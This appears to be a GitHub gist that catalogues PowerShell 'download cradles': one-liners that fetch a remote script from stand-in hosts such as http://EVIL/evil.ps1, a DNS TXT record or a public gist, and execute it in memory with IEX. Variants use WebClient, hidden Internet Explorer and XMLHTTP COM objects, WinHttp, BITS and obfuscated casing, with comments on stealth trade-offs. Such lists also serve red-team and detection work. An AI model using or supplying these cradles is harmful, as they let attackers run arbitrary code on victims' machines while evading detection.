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Download Cradles
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# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object | |
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText | |
# WinHttp COM object (not proxy aware!) | |
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText | |
# using bitstransfer- touches disk! | |
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r | |
# DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1) | |
# code to execute needs to be a base64 encoded string stored in a TXT record | |
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0])))) | |
# Using System's Proxy and User-Agent string: | |
$WC=NeW-OBJecT SyStem.NET.WEbCLIENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeAders.ADd('User-Agent',$u);$Wc.ProxY = [SYsTem.NET.WEBREQUesT]::DEFAuLtWebPRoxy;$WC.PROxY.CrEdentIalS = [SYSteM.Net.CreDentialCACHe]::DEFAulTNETWOrkCrEdEnTialS;$Wc.DownLoADSTriNG('http://EVIL/evil.ps1') | IEX | |
# from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d | |
<# | |
<?xml version="1.0"?> | |
<command> | |
<a> | |
<execute>Get-Process</execute> | |
</a> | |
</command> | |
#> | |
$a = New-Object System.Xml.XmlDocument | |
$a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt") | |
$a.command.a.execute | iex |
Author
mgeeky
commented
Aug 22, 2017
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